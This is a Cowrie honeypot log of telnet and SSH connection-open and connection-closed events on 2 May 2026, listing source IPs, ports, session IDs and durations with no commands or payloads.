{"eventid":"cowrie.session.closed","duration":46.48010563850403,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:19.383353Z","src_ip":"174.138.46.234","session":"65b34cc77e94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.9457855224609375,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:23.711512Z","src_ip":"174.138.46.234","session":"10e2c06ea945","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":52634,"dst_ip":"10.17.0.5","dst_port":23,"session":"07fe571f04f2","protocol":"telnet","message":"New connection: 86.120.107.100:52634 (10.17.0.5:23) [session: 07fe571f04f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:25.420905Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":36526,"dst_ip":"10.17.0.5","dst_port":22,"session":"404fa27c3943","protocol":"ssh","message":"New connection: 80.94.92.168:36526 (10.17.0.5:22) [session: 404fa27c3943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:35.519316Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:35.629510Z","src_ip":"80.94.92.168","session":"404fa27c3943","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33144,"dst_ip":"159.203.135.109","dst_port":23,"session":"d23517626a2a","protocol":"telnet","message":"New connection: 174.138.46.234:33144 (159.203.135.109:23) [session: d23517626a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:39.125472Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33432,"dst_ip":"159.203.135.109","dst_port":23,"session":"22eddfda7734","protocol":"telnet","message":"New connection: 174.138.46.234:33432 (159.203.135.109:23) [session: 22eddfda7734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:40.064492Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33524,"dst_ip":"159.203.135.109","dst_port":23,"session":"43e6416b98a8","protocol":"telnet","message":"New connection: 174.138.46.234:33524 (159.203.135.109:23) [session: 43e6416b98a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:40.323422Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33870,"dst_ip":"159.203.135.109","dst_port":23,"session":"5510d6456967","protocol":"telnet","message":"New connection: 174.138.46.234:33870 (159.203.135.109:23) [session: 5510d6456967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:42.630640Z"}
{"eventid":"cowrie.session.closed","duration":5.953449726104736,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:46.017818Z","src_ip":"174.138.46.234","session":"22eddfda7734","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.913348436355591,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:46.236639Z","src_ip":"174.138.46.234","session":"43e6416b98a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.896156072616577,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:47.526657Z","src_ip":"174.138.46.234","session":"5510d6456967","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.115.167.54","src_port":31029,"dst_ip":"10.17.0.5","dst_port":23,"session":"5166079b11d6","protocol":"telnet","message":"New connection: 181.115.167.54:31029 (10.17.0.5:23) [session: 5166079b11d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:52.038936Z"}
{"eventid":"cowrie.session.closed","duration":30.71651005744934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:56.137284Z","src_ip":"86.120.107.100","session":"07fe571f04f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.502286672592163,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:25:05.541140Z","src_ip":"181.115.167.54","session":"5166079b11d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.515069007873535,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:25:28.640419Z","src_ip":"174.138.46.234","session":"d23517626a2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52368,"dst_ip":"159.203.135.109","dst_port":23,"session":"62d9de4533bd","protocol":"telnet","message":"New connection: 174.138.46.234:52368 (159.203.135.109:23) [session: 62d9de4533bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:25:45.434836Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52396,"dst_ip":"159.203.135.109","dst_port":23,"session":"025db7822a9e","protocol":"telnet","message":"New connection: 174.138.46.234:52396 (159.203.135.109:23) [session: 025db7822a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:25:45.502308Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52484,"dst_ip":"159.203.135.109","dst_port":23,"session":"af58ea3e6c2f","protocol":"telnet","message":"New connection: 174.138.46.234:52484 (159.203.135.109:23) [session: af58ea3e6c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:25:45.792206Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52534,"dst_ip":"159.203.135.109","dst_port":23,"session":"525ce1760cf4","protocol":"telnet","message":"New connection: 174.138.46.234:52534 (159.203.135.109:23) [session: 525ce1760cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:25:45.942638Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52418,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2eb02a1d0a7","protocol":"telnet","message":"New connection: 174.138.46.234:52418 (159.203.135.109:23) [session: d2eb02a1d0a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:25:46.603419Z"}
{"eventid":"cowrie.session.closed","duration":5.974928617477417,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:25:51.409641Z","src_ip":"174.138.46.234","session":"62d9de4533bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.934956073760986,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:25:51.437149Z","src_ip":"174.138.46.234","session":"025db7822a9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.902931451797485,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:25:51.506223Z","src_ip":"174.138.46.234","session":"d2eb02a1d0a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":39540,"dst_ip":"10.17.0.5","dst_port":23,"session":"e65e3c86fcd9","protocol":"telnet","message":"New connection: 86.120.107.100:39540 (10.17.0.5:23) [session: e65e3c86fcd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:11.875101Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":43420,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8674e01a0cf","protocol":"telnet","message":"New connection: 86.120.107.100:43420 (10.17.0.5:23) [session: a8674e01a0cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:15.579175Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":43422,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca12558ced6c","protocol":"telnet","message":"New connection: 86.120.107.100:43422 (10.17.0.5:23) [session: ca12558ced6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:18.342085Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":42756,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbc9a5194f9d","protocol":"telnet","message":"New connection: 199.231.212.75:42756 (10.17.0.5:23) [session: fbc9a5194f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:19.335377Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":43434,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed1ec7a4027d","protocol":"telnet","message":"New connection: 86.120.107.100:43434 (10.17.0.5:23) [session: ed1ec7a4027d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:23.903734Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":42812,"dst_ip":"10.17.0.5","dst_port":23,"session":"744a6c0413e7","protocol":"telnet","message":"New connection: 86.120.107.100:42812 (10.17.0.5:23) [session: 744a6c0413e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:24.781201Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35786,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b90a8b33b4d","protocol":"telnet","message":"New connection: 174.138.46.234:35786 (159.203.135.109:23) [session: 1b90a8b33b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:26.383056Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":42828,"dst_ip":"10.17.0.5","dst_port":23,"session":"95a195b57641","protocol":"telnet","message":"New connection: 86.120.107.100:42828 (10.17.0.5:23) [session: 95a195b57641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:27.988041Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36646,"dst_ip":"159.203.135.109","dst_port":23,"session":"6576ae827d70","protocol":"telnet","message":"New connection: 174.138.46.234:36646 (159.203.135.109:23) [session: 6576ae827d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:29.115514Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37144,"dst_ip":"159.203.135.109","dst_port":23,"session":"23dab7993b10","protocol":"telnet","message":"New connection: 174.138.46.234:37144 (159.203.135.109:23) [session: 23dab7993b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:30.862463Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":42834,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f096f70ada2","protocol":"telnet","message":"New connection: 86.120.107.100:42834 (10.17.0.5:23) [session: 7f096f70ada2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:31.879418Z"}
{"eventid":"cowrie.session.closed","duration":5.935240745544434,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:35.050667Z","src_ip":"174.138.46.234","session":"6576ae827d70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.367069959640503,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:37.229414Z","src_ip":"174.138.46.234","session":"23dab7993b10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":36868,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4cfb03dbf60","protocol":"telnet","message":"New connection: 199.231.212.75:36868 (10.17.0.5:23) [session: d4cfb03dbf60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:37.892977Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":44674,"dst_ip":"10.17.0.5","dst_port":23,"session":"17266db25f54","protocol":"telnet","message":"New connection: 86.120.107.100:44674 (10.17.0.5:23) [session: 17266db25f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:38.277018Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":36870,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f7c0fd529dc","protocol":"telnet","message":"New connection: 199.231.212.75:36870 (10.17.0.5:23) [session: 4f7c0fd529dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:39.869922Z"}
{"eventid":"cowrie.session.closed","duration":54.8906626701355,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:40.682705Z","src_ip":"174.138.46.234","session":"af58ea3e6c2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.37424635887146,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:41.316757Z","src_ip":"174.138.46.234","session":"525ce1760cf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.254753351211548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:42.129750Z","src_ip":"86.120.107.100","session":"e65e3c86fcd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":44676,"dst_ip":"10.17.0.5","dst_port":23,"session":"09f161d7a6eb","protocol":"telnet","message":"New connection: 86.120.107.100:44676 (10.17.0.5:23) [session: 09f161d7a6eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:42.588449Z"}
{"eventid":"cowrie.session.closed","duration":30.86423110961914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:46.443336Z","src_ip":"86.120.107.100","session":"a8674e01a0cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":46736,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd8eb71df956","protocol":"telnet","message":"New connection: 86.120.107.100:46736 (10.17.0.5:23) [session: bd8eb71df956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:49.142562Z"}
{"eventid":"cowrie.session.closed","duration":31.70825433731079,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:50.050255Z","src_ip":"86.120.107.100","session":"ca12558ced6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26357126235962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:50.598810Z","src_ip":"199.231.212.75","session":"fbc9a5194f9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2253577709198,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:54.128901Z","src_ip":"86.120.107.100","session":"ed1ec7a4027d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.374462127685547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:55.155524Z","src_ip":"86.120.107.100","session":"744a6c0413e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":41760,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1fc4128a327","protocol":"telnet","message":"New connection: 86.120.107.100:41760 (10.17.0.5:23) [session: f1fc4128a327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:55.176738Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":41592,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1735f7cb63c","protocol":"telnet","message":"New connection: 199.231.212.75:41592 (10.17.0.5:23) [session: b1735f7cb63c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:55.326949Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":41594,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb1410c89197","protocol":"telnet","message":"New connection: 199.231.212.75:41594 (10.17.0.5:23) [session: fb1410c89197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:57.012817Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":41608,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed2f067ab299","protocol":"telnet","message":"New connection: 199.231.212.75:41608 (10.17.0.5:23) [session: ed2f067ab299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:57.948527Z"}
{"eventid":"cowrie.session.closed","duration":31.30353331565857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:26:59.291472Z","src_ip":"86.120.107.100","session":"95a195b57641","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.172.165.16","src_port":59144,"dst_ip":"159.203.135.109","dst_port":23,"session":"04775beeb149","protocol":"telnet","message":"New connection: 189.172.165.16:59144 (159.203.135.109:23) [session: 04775beeb149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:01.962277Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":41772,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0b8610da0d1","protocol":"telnet","message":"New connection: 86.120.107.100:41772 (10.17.0.5:23) [session: e0b8610da0d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:02.646399Z"}
{"eventid":"cowrie.session.closed","duration":31.002346515655518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:02.881680Z","src_ip":"86.120.107.100","session":"7f096f70ada2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":46464,"dst_ip":"10.17.0.5","dst_port":23,"session":"62225b6d6eae","protocol":"telnet","message":"New connection: 86.120.107.100:46464 (10.17.0.5:23) [session: 62225b6d6eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:05.062330Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":46474,"dst_ip":"10.17.0.5","dst_port":23,"session":"33368ec0ad4a","protocol":"telnet","message":"New connection: 86.120.107.100:46474 (10.17.0.5:23) [session: 33368ec0ad4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:05.337335Z"}
{"eventid":"cowrie.session.closed","duration":30.857545614242554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:08.750406Z","src_ip":"199.231.212.75","session":"d4cfb03dbf60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43058443069458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:09.707486Z","src_ip":"86.120.107.100","session":"17266db25f54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36219096183777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:10.231983Z","src_ip":"199.231.212.75","session":"4f7c0fd529dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":34592,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cfb356f4440","protocol":"telnet","message":"New connection: 199.231.212.75:34592 (10.17.0.5:23) [session: 7cfb356f4440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:12.934046Z"}
{"eventid":"cowrie.session.closed","duration":30.913636445999146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:13.501959Z","src_ip":"86.120.107.100","session":"09f161d7a6eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":46482,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fe426d8d284","protocol":"telnet","message":"New connection: 86.120.107.100:46482 (10.17.0.5:23) [session: 3fe426d8d284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:13.753600Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":60208,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a3c2ff87574","protocol":"telnet","message":"New connection: 164.68.122.45:60208 (10.17.0.5:23) [session: 8a3c2ff87574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:13.953490Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":60214,"dst_ip":"10.17.0.5","dst_port":23,"session":"f459a7413dba","protocol":"telnet","message":"New connection: 164.68.122.45:60214 (10.17.0.5:23) [session: f459a7413dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:14.776948Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50508,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fc0cf2de7bf","protocol":"telnet","message":"New connection: 174.138.46.234:50508 (159.203.135.109:23) [session: 9fc0cf2de7bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:15.804904Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":60002,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3a429fb5802","protocol":"telnet","message":"New connection: 86.120.107.100:60002 (10.17.0.5:23) [session: c3a429fb5802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:15.996412Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50550,"dst_ip":"159.203.135.109","dst_port":23,"session":"be19a9f524bd","protocol":"telnet","message":"New connection: 174.138.46.234:50550 (159.203.135.109:23) [session: be19a9f524bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:16.016454Z"}
{"eventid":"cowrie.session.closed","duration":14.074705600738525,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:16.036853Z","src_ip":"189.172.165.16","session":"04775beeb149","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50632,"dst_ip":"159.203.135.109","dst_port":23,"session":"2283c8d1ae48","protocol":"telnet","message":"New connection: 174.138.46.234:50632 (159.203.135.109:23) [session: 2283c8d1ae48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:16.294138Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51352,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e840241c7e9","protocol":"telnet","message":"New connection: 174.138.46.234:51352 (159.203.135.109:23) [session: 5e840241c7e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:18.806223Z"}
{"eventid":"cowrie.session.closed","duration":53.084147691726685,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:19.467120Z","src_ip":"174.138.46.234","session":"1b90a8b33b4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50694,"dst_ip":"159.203.135.109","dst_port":23,"session":"a39c0053a696","protocol":"telnet","message":"New connection: 174.138.46.234:50694 (159.203.135.109:23) [session: a39c0053a696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:19.544615Z"}
{"eventid":"cowrie.session.closed","duration":31.518261194229126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:20.660697Z","src_ip":"86.120.107.100","session":"bd8eb71df956","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.984202146530151,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:21.788963Z","src_ip":"174.138.46.234","session":"9fc0cf2de7bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":46156,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c3936efccc3","protocol":"telnet","message":"New connection: 199.231.212.75:46156 (10.17.0.5:23) [session: 0c3936efccc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:22.911197Z"}
{"eventid":"cowrie.session.closed","duration":7.012888669967651,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:23.306932Z","src_ip":"174.138.46.234","session":"2283c8d1ae48","protocol":"telnet"}
